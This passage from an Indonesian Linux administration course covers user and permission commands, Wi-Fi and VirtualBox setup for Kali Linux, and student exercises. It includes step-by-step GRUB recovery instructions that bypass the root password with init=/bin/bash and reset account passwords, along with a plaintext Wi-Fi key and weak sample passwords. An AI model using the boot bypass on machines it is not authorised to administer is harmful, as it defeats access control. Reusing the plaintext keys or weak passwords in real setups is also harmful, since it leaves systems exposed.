sshd                                    **Never logged in**
data             pts/0    192.168.1.9   Sun Nov 19 18:07:31 +0700 2017
proftpd                                 **Never logged in**
ftp                                     **Never logged in**
snort                                   **Never logged in**
root@ubuntufresh:/home/data#
```

Untuk mengetahui log terakhir, ketik lastlog lalu enter

Latihan untuk peserta

- Membuat user tanpa membuat direktori di home : useradd maspion
- Membuat user dengan membuat direktori di home: useradd -m maspion
- Membuat user menjadi admin : cd /etc lalu ketik nano sudoers isi pada bagian user, privilage spesification
- Untuk melihat daftar user : cd /etc lalu ketik nano passwd
- Membuat password : passwd maspion
- Membuat group : groupadd jenis
- Memasukkan user ke group : usermod -G jenis maspion
- Memasukkan user ke group : gpasswd -a maspion jenis
- Menghapus user di group : gpasswd -d maspion jenis
- Melihat user tergabung di group apa : cd /etc lalu ketik nano group
- Menghapus group : groupdel jenis
- Pindah user : su maspion
- Untuk memeriksa : id
- Menghapus id beserta folder di home direktori : userdel -r maspion
- pwd = menampilkan direktori aktif saat ini.
- hostname = Menampilkan nama komputer yang sedang digunakan
- whoami = Menampilkan nama login Kita
- who = Menampilkan pengguna yang sedang aktif
- id username = Menampilkan ID user dan ID Group

Belajar CHOWN, CHRP dan CHMOD

CHOWN atau Change Ownership adalah perintah untuk mengganti user (owner) atau pemilik dari suatu file atau direktori contohnya chown nama user nama group nama file. Implementasi misal : chown soto.minuman es teh

CHGRP atau Change Group adalah perintah untuk mengganti kepemilikan group pada suatu file atau direktori, contohnya chgrp nama group nama file. Implementasinya misal : chgrp kelompok es teh.

CHMOD atau Change Mode adalah perintah untuk menambah dan mengurangi hak akses user dalam mengakses suatu file atau direktori. Untuk lebih jelasnya dapat melihat di bawah :

Dalam perijinan ada 3 Jenis permission / perijinan yaitu r untuk read, w untuk write dan x untuk execute

Dalam kepemilikan ada 3 jenis kepemilikan yaitu user (Owner) (u), yaitu user tertentu. Group (g), yaitu group pemilik, dan Others (o) selain user (Owner) dan Group.

Di sini terdapat 2 sistem sistem perijinan file :

Sistem numeric coding :

Perijinan untuk user, group dan other yang didasarkan pada penggunaan kombinasi angka-angka. Misalnya : chmod 777 nama file, atau chmod 777 nama folder :

Hak membaca / read memiliki nilai 4
Hak menulis / write memiliki nilai 2
Hak eksekusi memiliki nilai 1

Untuk lebih jelasnya seperti berikut dari 1 sampai 7 jika dalam bentuk bilangan biner

Biner : Desimal : Hak

000 : 0 : Tidak memiliki hak apapun

001 : 1 : Hak eksekusi

010 : 2 : Hak menulis

011 : 3 : Hak Menulis dan mengeksekusi

100 : 4 : Hak membaca

101 : 5 : Hak Membaca dan mengeksekusi

110 : 6 : Hak Membaca dan menulis

111 : 7 : Hak Membaca, menulis dan mengeksekusi

Jadi jika misal ingin memberikan hak membaca dan mengeksekusi maka saat digabung adalah 4 + 1 = 5, jika hak membaca dan menulis maka 4 + 2 = 6, jika akses bisa membaca, menulis dan mengeksekusi maka 4+2+1=7. Untuk nilai 0 artinyai semua permission tidak ada.

Sistem letter coding :
Sistem ini dipakai untuk memberi hak akses kepada u (user), g (group), o (other) dan a (all), caranya dengan memberi tanda plus (+) untuk menambahkan hak akses dan tanda minus (-) untuk menghapus hak akses. Misalnya : chmod ugo+wx esteh.
Untuk mengubah hak akses file atau direktori maka format yag dapat digunakan adalah sebagai berikut :

chmod [ugoa] [= + -] [rwx] namafile atau direktori

Keterangan :

u adalah User (Owner

g adalah Group

o adalah other

a adalah all

= adalah set sebagai satu-satunya hak akses yang dimiliki

+ adalah penambahan izin

- adalah non-aktifkan suatu izin

r adalah akses read (membaca)

w adalah akses write (Menulis)

x adalah akses execute (Mengekseksi)

4.3 Recovery mode pada linux

Recovery mode linux digunakan saat user lupa password dan ingin melakukan reset

Berikut ini jika lupa password untuk kali-linux dan ingin melakukan reset

Tekan e

```
GNU GRUB  version 1.99-27+deb7u2
KALI LINUX
setparams 'Debian GNU/Linux, with Linux 3.12-kali1-686-pae (recovery\
 mode)'

load_video
insmod gzio
insmod part_msdos
insmod ext2
set root='(hd0,msdos1)'
search --no-floppy --fs-uuid --set=root 139048a7-569d-4b6b-8452-fcf8\
e8add0f0
echo 'Loading Linux 3.12-kali1-686-pae ...'
linux /boot/vmlinuz-3.12-kali1-686-pae root=UUID=139048a7-569d-4b6b-\
8452-fcf8e8add0f0 ro single initrd=/install/initrd.gz
echo 'Loading initial ramdisk ...'
initrd /boot/initrd.img-3.12-kali1-686-pae
```

Ganti dengan rw

init=/bin/bash

```
Minimum Emacs-like screen editing is supported. TAB lists
completions. Press Ctrl-x or F10 to boot, Ctrl-c or F2 for
a command-line or ESC to discard edits and return to the GRUB
menu.
```

Ganti ro dengan rw lalu tambahkan init=bin/bash pada yang dilingkari sebelah kanan

```
GNU GRUB  version 1.99-27+deb7u2
KALI LINUX
setparams 'Debian GNU/Linux, with Linux 3.12-kali1-686-pae (recovery\
 mode)'

load_video
insmod gzio
insmod part_msdos
insmod ext2
set root='(hd0,msdos1)'
search --no-floppy --fs-uuid --set=root 139048a7-569d-4b6b-8452-fcf8\
e8add0f0
echo 'Loading Linux 3.12-kali1-686-pae ...'
linux /boot/vmlinuz-3.12-kali1-686-pae root=UUID=139048a7-569d-4b6b-\
8452-fcf8e8add0f0 rw single initrd=/install/initrd.gz init=/bin/bash\
_
echo 'Loading initial ramdisk ...'
initrd /boot/initrd.img-3.12-kali1-686-pae
```

Tekan F10 jika sudah selesai edit

```
[    3.643803] input: VirtualBox USB Tablet as /devices/pci0000
usb2/2-1/2-1:1.0/input/input2
[    3.648364] hid-generic 0003:80EE:0021.0001: input,hidraw0:
se [VirtualBox USB Tablet] on usb-0000:00:06.0-1/input0
Begin: Loading essential drivers ... done.
Begin: Running /scripts/init-premount ... Begin: Requesting mic
ng per-core interface ... done.
done.
Begin: Mounting root file system ... Begin: Running /scripts/lo
3.839644] device-mapper: uevent: version 1.0.3
[    3.842005] device-mapper: ioctl: 4.26.0-ioctl (2013-08-15)
evel@redhat.com
done.
Begin: Running /scripts/local-premount ... [    3.908633] PM: S
sume from disk
done.
[    4.092004] EXT4-fs (sda1): mounted filesystem with ordered
(null)
Begin: Running /scripts/local-bottom ... done.
done.
Begin: Running /scripts/init-bottom ... done.
bash: cannot set terminal process group (-1): Inappropriate ioc
bash: no job control in this shell
root@(none):/#
```

Akses root

```
root@(none):/#
root@(none):/# passwd root
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root@(none):/#
```

passwd root, isi password baru

Setelah selesai lalu restart

Untuk recovery mode untuk Ubuntu sebagai berikut :

```
                    GNU GRUB  version 2.00-13ubuntu3

  Ubuntu
  Advanced options for Ubuntu
  Memory test (memtest86+)
  Memory test (memtest86+, serial console 115200)
```

Pilih Advanced options for Ubuntu

Pilih Ubuntu, with Linux 3.8.0-19=generic (recovery mode)

Pilih root

Jalankan perintah cat /etc/passwd

```
uucp:x:10:10:uucp:/var/spool/uuc
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/w
backup:x:34:34:backup:/var/backu
list:x:38:38:Mailing List Manage
irc:x:39:39:ircd:/var/run/ircd:/
gnats:x:41:41:Gnats Bug-Reportin
nobody:x:65534:65534:nobody:/non
libuuid:x:100:101::/var/lib/libu
syslog:x:101:103::/home/syslog:/
mysql:x:102:105:MySQL Server,,,:
messagebus:x:103:106::/var/run/d
whoopsie:x:104:109::/nonexistent
bind:x:105:112::/var/cache/bind:
landscape:x:106:113::/var/lib/la
sshd:x:107:65534::/var/run/sshd:
data:x:1000:1000:data,,,:/home/d
root@ubuntufresh:~#
```

Nama user yang akan diganti passwordnya

```
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/f
messagebus:x:103:106::/var/run/dbus:/bin/false
whoopsie:x:104:109::/nonexistent:/bin/false
bind:x:105:112::/var/cache/bind:/bin/false
landscape:x:106:113::/var/lib/landscape:/bin/false
sshd:x:107:65534::/var/run/sshd:/usr/sbin/nologin
data:x:1000:1000:data,,,:/home/data:/bin/bash
root@ubuntufresh:~# passwd data
Enter new UNIX password:
Retype new UNIX password:
passwd: Authentication token manipulation error
passwd: password unchanged
root@ubuntufresh:~#
```

Saat dicoba untuk ganti password tidak jalan maka ketik seperti di bawah ini

mount -o remount,rw /

mount -all

Before a user can access a file on a Unix-like machine, the file system that contains it needs to be mounted with the mount command. Frequently mount is used for SD card, USB storage, DVD and other removable storage devices.

Sumber : https://en.wikipedia.org/wiki/Mount_%28Unix%29

```
MOUNT(8)                    System Administration                    MOUNT(8)

NAME
       mount - mount a filesystem

SYNOPSIS
       mount [-lhV]

       mount -a [-fFnrsvw] [-t vfstype] [-O optlist]

       mount [-fnrsvw] [-o options[,...]] device|dir

       mount [-fnrsvw] [-t vfstype] [-o options] device dir

DESCRIPTION
       All files accessible in a Unix system are arranged in one big tree, the
       file hierarchy, rooted at /.  These files can be spread out  over  sev-
       eral  devices.  The mount command serves to attach the filesystem found
       on some device to the big file tree. Conversely, the umount(8)  command
       will detach it again.

       The standard form of the mount command, is

              mount -t type device dir
 Manual page mount(8) line 1 (press h for help or q to quit)_
```

```
              command

                     mount -a -t ext2 -o _netdev

              mounts all ext2 filesystems with the  _netdev  option,  not  all
              filesystems  that  are  either  ext2  or have the _netdev option
              specified.

       -o, --options opts
              Options are specified with a -o flag followed by a  comma  sepa-
              rated string of options. For example:

                     mount LABEL=mydisk -o noatime,nouser

              For  more  details, see FILESYSTEM INDEPENDENT MOUNT OPTIONS and
              FILESYSTEM SPECIFIC MOUNT OPTIONS sections.

       -B, --bind
 Manual page mount(8) line 396 (press h for help or q to quit)
```

man mount

```
root@ubuntufresh:~# ls -l
total 0
root@ubuntufresh:~# mount -o remount,rw /
root@ubuntufresh:~# mount -all
root@ubuntufresh:~# passwd data
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root@ubuntufresh:~#
```

Ganti password seperti di atas

```
root@ubuntufresh:~# mount -o remount,rw /
root@ubuntufresh:~# mount -all
root@ubuntufresh:~# passwd data
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root@ubuntufresh:~# exit_
```

Exit

4.4 Mengenal runlevel

Runlevel is a mode of operation in the computer operating systems that implement Unix System V-style initialization.

Sumber : https://en.wikipedia.org/wiki/Runlevel

Linux Standard Base specification [edit]

Systems conforming to the Linux Standard Base (LSB) need not provide the exact run levels given here or give them the meanings described here, and may map any level described here to a different level which provides the equivalent functionality.[1]

LSB 4.1.0

ID	Name	Description
0	Halt	Shuts down the system.
1	Single-user mode	Mode for administrative tasks.[2][b]
2	Multi-user mode	Does not configure network interfaces and does not export networks services.[c]
3	Multi-user mode with networking	Starts the system normally.[1]
4	Not used/user-definable	For special purposes.
5	Start the system normally with appropriate display manager (with GUI)	Same as runlevel 3 + display manager.
6	Reboot	Reboots the system.

Sumber :

https://en.wikipedia.org/wiki/Runlevel

```
data@ubuntufresh:~$ sudo su
[sudo] password for data:
root@ubuntufresh:/home/data# ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:32:60:dc
          inet addr:192.168.1.172  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe32:60dc/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:163 errors:0 dropped:0 overruns:0 frame:0
          TX packets:128 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:79859 (79.8 KB)  TX bytes:11980 (11.9 KB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:30 errors:0 dropped:0 overruns:0 frame:0
          TX packets:30 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:1964 (1.9 KB)  TX bytes:1964 (1.9 KB)

root@ubuntufresh:/home/data# who -r
         run-level 2  2017-12-26 05:41
root@ubuntufresh:/home/data#
```

Untuk mengetahui run-level yang digunakan pada Ubuntu Server

who -r

Hasilnya seperti pada gambar

Jika pilih ketika init 6 lalu enter maka server akan reboot

Tapi bagaimana jika init 0 ?

```
root@ubuntufresh:/home/data# init 0
root@ubuntufresh:/home/data# acpid: exiting
 * Stopping web server apache2
apache2: Could not reliably determine the server's fully qualified domain name,
using 127.0.1.1 for ServerName
 ... waiting                                                          [ OK ]
```

Hasilnya server akan shutdown

4.5 Menyambungkan wireless client Ubuntu server ke hotspot

```
[sudo] password for data:
iroot@ubuntufresh:/home/data# ifconfig
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:24 errors:0 dropped:0 overruns:0 frame:0
          TX packets:24 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:1624 (1.6 KB)  TX bytes:1624 (1.6 KB)

root@ubuntufresh:/home/data# ifconfig wlan0 up
root@ubuntufresh:/home/data# ifconfig
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:24 errors:0 dropped:0 overruns:0 frame:0
          TX packets:24 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:1624 (1.6 KB)  TX bytes:1624 (1.6 KB)

wlan0     Link encap:Ethernet  HWaddr 64:66:b3:20:84:f0
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

root@ubuntufresh:/home/data#
```

iwlist scan

```
                    IE: Unknown: DD180050F2020101040003A4000027A40000424
22F00
                    IE: Unknown: DD0900037F01010000FF7F
          Cell 04 - Address: C0:4A:00:87:80:51
                    Channel:1
                    Frequency:2.412 GHz (Channel 1)
                    Quality=29/70  Signal level=-81 dBm
                    Encryption key:off
                    ESSID:"XcodeTraining"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
                              9 Mb/s; 12 Mb/s; 18 Mb/s
                    Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
                    Mode:Master
                    Extra:tsf=00000000064a195f
                    Extra: Last beacon: 5220ms ago
                    IE: Unknown: 000D58636F6465547261696E696E67
                    IE: Unknown: 010882848B960C121824
                    IE: Unknown: 030101
                    IE: Unknown: 0706494420010D14
                    IE: Unknown: 2A0100
                    IE: Unknown: 32043048606C
                    IE: Unknown: 2D1A2C0103FF000000000000000000000000000000
000000000
                    IE: Unknown: 3D16010800000000000000000000000000000000
0
                    IE: Unknown: DD180050F2020101820003A4000027A40000424
22F00
                    IE: Unknown: DD1E00904C332C0103FF000000000000000000
```

```
root@ubuntufresh:/home/data# iwconfig wlan0 essid XcodeTraining
root@ubuntufresh:/home/data#
```

```
          RX packets:34 errors:0 dropped:0 overruns:0 frame:0
          TX packets:34 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:2236 (2.2 KB)  TX bytes:2236 (2.2 KB)

wlan0     Link encap:Ethernet  HWaddr 64:66:b3:20:84:f0
          inet addr:192.168.1.4  Bcast:192.168.1.255  Mask:255.255.2
          inet6 addr: fe80::6666:b3ff:fe20:84f0/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:236 errors:0 dropped:0 overruns:0 frame:0
          TX packets:329 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:94558 (94.5 KB)  TX bytes:38684 (38.6 KB)

root@ubuntufresh:/home/data#
```

iwconfig wlan0 essid XcodeTraining

dhclient wlan0

```
^C
C:\Users\kurniawandata>ping 192.168.1.4

Pinging 192.168.1.4 with 32 bytes of data:
Reply from 192.168.1.4: bytes=32 time=134ms TTL=64
Reply from 192.168.1.4: bytes=32 time=151ms TTL=64
Reply from 192.168.1.4: bytes=32 time=167ms TTL=64
Reply from 192.168.1.4: bytes=32 time=189ms TTL=64

Ping statistics for 192.168.1.4:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 134ms, Maximum = 189ms, Average = 160ms

C:\Users\kurniawandata>
```

```
root@ubuntufresh:/home/data# ping 192.168.1.9
PING 192.168.1.9 (192.168.1.9) 56(84) bytes of data.
64 bytes from 192.168.1.9: icmp_req=1 ttl=128 time=73.2 ms
64 bytes from 192.168.1.9: icmp_req=2 ttl=128 time=72.0 ms
^C
```

iwlist scan

```
Channel:1
Frequency:2.412 GHz (Channel 1)
Quality=33/70  Signal level=-77 dBm
Encryption key:on
ESSID:"XcodeTraining"
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb
          9 Mb/s; 12 Mb/s; 18 Mb/s
Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
Mode:Master
Extra:tsf=00000000049d4180
Extra: Last beacon: 4616ms ago
IE: Unknown: 000D58636F6465547261696E696E67
IE: Unknown: 010882848B960C121824
IE: Unknown: 030101
IE: Unknown: 0706[illegible]
IE: Unknown: 2A0100
IE: IEEE 802.11i/WPA2 Version 1
    Group Cipher : TKIP
    Pairwise Ciphers (2) : CCMP TKIP
    Authentication Suites (1) : PSK
IE: Unknown: 32043048606C
IE: Unknown: 2D1A2C0103FF[illegible]
00000
IE: Unknown: 3D160108000000000000000000000000000000
IE: WPA Version 1
```

Terdeteksi bahwa ESSID “XcodeTraining” ada dengan keamanan WPA2 dengan group Chiper : TKIP

```
root@ubuntufresh:/home/data# cd /etc/network
root@ubuntufresh:/etc/network# nano interfaces
```

```
  GNU nano 2.2.6              File: interfaces                    Mod

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto wlan0
iface wlan0 inet static
address 192.168.1.34
netmask 255.255.255.0
gateway 192.168.1.1
dns-nameservers 8.8.8.8, 8.8.4.4
wpa-ssid XcodeTraining
wpa-psk baseball21
```

Jika menggunakan WPA-PSK

Tambahkan pada interfaces seperti di atas

wpa-ssid XcodeTraining

wpa-psk baseball21

```
root@ubuntufresh:/etc/network# service networking restart
networking stop/waiting
networking start/running
root@ubuntufresh:/etc/network# ifconfig
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:526 errors:0 dropped:0 overruns:0 frame:0
          TX packets:526 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:48751 (48.7 KB)  TX bytes:48751 (48.7 KB)

wlan0     Link encap:Ethernet  HWaddr 64:66:b3:20:84:f0
          inet addr:192.168.1.34  Bcast:192.168.1.255  Mask:255.255.255.0
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:803 errors:0 dropped:0 overruns:0 frame:0
          TX packets:376 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:156004 (156.0 KB)  TX bytes:42858 (42.8 KB)

root@ubuntufresh:/etc/network#
```

Latihan

Pengaturan user dan group di linux akan membuat lebih mudah dalam membagi setiap akun user dam kiga tiap-tiap grup dalamm engatur hak kepemilikan file

Latihan di rumah

Latihan 1

1. Masuk folder /home

2. buat folder dengan nama cewek

3. hapus folder cewek

4. buat folder komputer

5. masuk folder komputer

6. buat file dengan nama ponsel dengan isi 12345

7. buat file dengan nama monitor dengan isi abcde

8. buat folder dengan nama perangkat

9. pindahkan file ponsel ke folder perangkat

10. gandakan isi file ponsel dengan nama baru yaitu hp

11. gandakan isi file ponsel dengan nama baru yaitu speaker

12. gandakan isi file ponsel dengan nama baru yaitu cpu

13. tampilkan isi file hp

14. copy file hp ke folder perangkat

15. masuk ke /home

14. buat folder dengan nama coba

15. buat folder dengan nama coba2

16. buat folder dengan nama coba3

17. buat folder dengan nama coba4

18. buat folder dengan nama coba5

19. buat folder dengan nama coba6

20. masuk ke /home/komputer

21. copy semua file ke /home/coba tanpa direktori dengan 1 perintah

22. copy semua file serta foldernya ke /home/coba2 dengan 1 perintah

23. copy semua file ke /home/coba3 tanpa direktori dengan 1 perintah tapi dengan ../../coba3

24. copy semua file serta foldernya ke /home/coba4 dengan 1 perintah tapi dengan ../../coba4

25. ketik cd / lalu enter, copy isi /home/komputer dari drive tersebut file-filenya saja (tidak masuk ke folder yang ingin dicopy)

26. ketik cd / lalu enter, copy isi /home/komputer dari drive tersebut file-filenya dan foldernya (tidak masuk ke folder yang ingin dicopy)

17. Tambahkan perintah baru testing menjadi ls -l

18. hapus perintah baru

19. Tampikan isi proses di linux

20. Jalankan calc

21. Kill aplikasi tersebut

Latihan 2

1. Setting IP untuk internet non permanent

2. Setting IP untuk internet dengan permanent

3. Menambah IP baru di interface

Latihan 3

1. Setting IP untuk internet dengan permanent

Latihan 3

1. Login dengan user kamu dengan akses root

2. Buat username dengan nama :

Budi dengan password 12345

Wati dengan password 12345

Iwan dengan password 12345

Dibuat dengan option -m agar ada foldernya di /home

3. Buat group dengan nama cewek

4. Buat file belajar.txt dengan isi testing lalu simpan

5. Buat perijinan file belajar.txt seperti di bawah ini dengan numeric coding

User : 4

Group : 7

Other : 6

6. Masukkan wati dalam group cewek

7. Dengan perintah chown, user di set but, dan group di set dengan group cewek

8. Masukkan perintah su budi lalu enter, masukkan password, lalu ketik nano belajar.txt lalu enter, cek apakah bisa mengedit. Jika sudah mengetahui kembali ke terminal, lalu exit.

9. Masukkan perintah su wati lalu enter, masukkan password, lalu ketik nano belajar.txt lalu enter, cek apakah bisa mengedit. Jika sudah mengetahui kembali ke terminal, lalu exit.

10. Masukkan perintah su iwan lalu enter, masukkan password, lalu ketik nano belajar.txt lalu enter, cek apakah bisa mengedit. Jika sudah mengetahui kembali ke terminal, lalu exit.

Latihan 4

1. Buat perijinan file belajar.txt seperti di bawah ini dengan letter coding

User : 2

Group : 1

Other : 6

2. Masukkan perintah su budi lalu enter, masukkan password, lalu ketik nano belajar.txt lalu enter, cek apakah bisa mengedit, jika mengedit apakah akibatnya. Jika sudah mengetahui kembali ke terminal, lalu exit.

3. Masukkan perintah su wati lalu enter, masukkan password, lalu ketik nano belajar.txt lalu enter, cek apakah bisa membaca atau mengedit. Jika sudah mengetahui kembali ke terminal, lalu exit.

Latihan 5

1. Jadikan budi menjadi admin

2. Akses lewat windows dengan putty ke linux melalui ssh

3. Akses sebagai root

Perbandingkan jika dengan wati apakah bisa login sebagai root

Latihan 6

1. Buat folder dengan nama umum di /home

2. Konfigurasi samba, share folder /home/umum tapi bisa write untuk semua pengguna (nama sharenya : umum)

3. Cek dengan windows sebagai clientnya, untuk masuk dan buat folder (new folder)

4. Konfigurasi samba, share folder /home/budi, jika ada yang masuk di folder tersebut, username budi, password cobacoba (nama sharenya : budi)

5. Cek dengan windows sebagai clientnya, untuk masuk ke share budi dengan password cobacoba.

Bab 5

VirtualBox dan instalasi Kali Linux

5.1 VirtualBox

VirtualBox is a general-purpose full virtualizer for x86 hardware, targeted at server, desktop and embedded use.

Sumber : Virtualbox.org - https://www.virtualbox.org/wiki/VirtualBox

Cara penggunaan :

https://www.virtualbox.org/manual/ch01.html

Download :

https://www.virtualbox.org/wiki/Downloads

5.2 Instalasi Virtualbox

Install vitualbox lalu jalankan, setelah itu jalankan VirtualBox Extension Pack yang tujuannya agar nanti USB Wireless Adapter dapat aktif di Virtual Machine. Pasang TP-LINK Adapter Network wireless ke laptop.

5.3 Membuat Virtual Machine baru untuk Kali Linux

Jalankan program VirtualBox, setelah tampil programnya, klik New.

Isi pada input name, misal Kali Linux, setelah itu klik Next. Jika ingin mengganti dengan name lain juga bisa, misal Kali Linux 2. Untuk penjelasan lebih lanjut di training.

Pada memory size, gunakan RAM 512 MB. Untuk penjelasan lebih lanjut di training.

Pada Hard drive pilih Create a Virtual hard drive lalu Create. Untuk penjelasan lebih lanjut di training.

Pada Hard drive file type pilih VDI (VirtualBox Disk Image) lalu pilih Next. Untuk penjelasan lebih lanjut di training.

Pada Storage on Physical hard drive, pilih Dynamic Allocated lalu Next. Untuk penjelasan lebih lanjut di training.

Pada File Location and Size dapat mengganti letak file dengan ekstensi VDI yang ingin disimpan. Untuk kapasitas harddisk untuk Kali Linux, dapat diset 16 GB ataupun 32 GB. Untuk penjelasan lebih lanjut di training.

Setelah melakukan create maka klik kanan hasil dari pembuatan virtual Machine seperti pada Gambar.

Pilih settings.

Pada Settings, pilih System, lalu Processor, lalu centang pada Enable PAE/NX. Untuk penjelasan lebih lanjut di training.

Pilih Storage, lalu empty lalu pilih choose a virtual CD/DVD disk file, di sini bisa pilih file ISO Kali Linux.

Setting USB agar wirelss adapter dapat digunakan Kali-linux.

Setting Network.

Untuk Network sesuaikan virtual machine ingin ke wireless network adapter bawaan laptop atau ingin pakai ethernet network adapter (kabel). Jika sudah selesai klik OK.

Jika ingin semuanya dilakukan dilaptop tanpa ada hubungan dengan jaringan luar maka ada 2 pilihan yaitu Attached to Host Only Adapter atau attached to Internal network. Jika memilih Attached to Host-only Adapter maka Virtual Machine dapat berhubungan dengan komputer anda melalui VirtualBox Host-Only Network.

Setting VirtualBox Host-Only Network agar menjadi 1 jaringan dengan Virtual Machine, misal jika Pada VirtualBox Host-Only Network IP Address nya adalah 192.168.0.1 dengan subnet mask 255.255.255.0, maka ip address yang dapat diset di virtual machine adalah antara 192.168.0.2 hingga 192.168.0.254 dengan subnet mask 255.255.255.0.

Jika ingin virtual machine terkoneksi internet maka dapat melakukan internet connection Sharing ke VirtualBox Host-Only Network. Secara default jika menggunakan Windows XP maka default IP Address pada Virtual Host-only Network menjadi ip address 192.168.0.1, jika menggunakan Windows 7 maka default IP Address nya adalah 192.168.137.1. IP Address default

tersebut dapat diganti, disesuaikan dengan jaringan yang ingin dibuat. IP Address VirtualBox Host-Only Network adalah IP Address yang akan digunakan Virtual Machine sebagai IP gateway.

Contoh dari USB Modem

Di sini yang digunakan contoh ada ZTE USB Modem. Setelah koneksi USB Modem sudah dibuat dari software ZTE seperti di bawah ini, berikutnya

Berikutnya klik kanan pada koneksi USB Modem yang sudah dibuat lalu pilih Properties

Pilih Advanced lalu centang pada Allow other network user to connect through this computer's internet connection, lalu pilih VirtualBox Host-Only Network.

Pilih Yes

Untuk melihat hasilnya, pada VirtualBox Host-Only Network, klik kanan lalu properties, pilih Internet Protocol (TCP/IP), lalu pilih properties, disitu secara otomatis tampil ip address yang telah di set 192.168.0.1.

Pada koneksi USB Modem, double untuk melakukan koneksi ke internet

Contoh dari Local Area Connection yang terhubung dengan router Modem ADSL

Local Area Connection di bawah ini adalah nama interface yang menghubungkan diri dengan router modem agar dapat melakukan koneksi internet

Berikut langkah dan konfigurasinya

Default Gateway yang digunakan adalah 192.168.1.1. IP Address 192.168.1.1 adalah IP Address router modem.

Berikut di bawah ini adalah tampilan IP Address pada LAN di router modem ADSL.

WAN

Name	Connection Type	VPI/VCI	IP/Mask	Gateway
pppoe_8_81_0	PPPoE	8/81	36.81.49.237 /32	36.81.48.1

LAN

MAC Address: 64:66:B3:CC:6A:2A
IP Address: 192.168.1.1
Subnet Mask: 255.255.255.0
DHCP: Enabled

Berikut untuk melakukan Internet connection sharing, maka pilih Advanced lalu centang pada Allow other network users to connect through this computer's internet connection lalu pilih home network connection yang ingin dipilih. Karena kita ingin virtual machine dari virtualbox yang diset host-only adapter dapat terkoneksi internet maka yang dipilih adalah VirtualBox Host-Only Network.

Pilih Yes.

Untuk melihat hasilnya seperti berikut.

Di sini diuji dengan memasukkan Virtual Machine Kali linux di VirtualBox. Hasilnya saat dijalankan virtual machine nya dan setting ip address pada Kali linux memberikan hasil kali linux berhasil ping ke ip address 192.168.0.1 dan dapat melakukan ping ke google.com.

```
root@kalipower:~# ifconfig eth0 192.168.0.2/24
root@kalipower:~# route add default gw 192.168.0.1
root@kalipower:~# ping 192.168.0.1
PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data.
64 bytes from 192.168.0.1: icmp_req=1 ttl=128 time=0.337 ms
64 bytes from 192.168.0.1: icmp_req=2 ttl=128 time=0.193 ms
64 bytes from 192.168.0.1: icmp_req=3 ttl=128 time=0.210 ms
64 bytes from 192.168.0.1: icmp_req=4 ttl=128 time=0.221 ms
64 bytes from 192.168.0.1: icmp_req=5 ttl=128 time=0.241 ms
^C
--- 192.168.0.1 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 3997ms
rtt min/avg/max/mdev = 0.193/0.240/0.337/0.052 ms
root@kalipower:~# ping google.com
PING google.com (74.125.68.102) 56(84) bytes of data.
64 bytes from sc-in-f102.1e100.net (74.125.68.102): icmp_req=1 ttl=45 time=60.8
ms
64 bytes from sc-in-f102.1e100.net (74.125.68.102): icmp_req=2 ttl=45 time=60.5
ms
64 bytes from sc-in-f102.1e100.net (74.125.68.102): icmp_req=3 ttl=45 time=60.8
ms
```

Jika menggunakan Internal Network maka kali linux tidak dapat ping 192.168.0.1 dan ping google.com. Di sini akan diuji langsung, pilih Network Settings.

Set Internal Network.

Saat ping 192.168.1.1 hasilnya adalah Destination Host Unreachable.

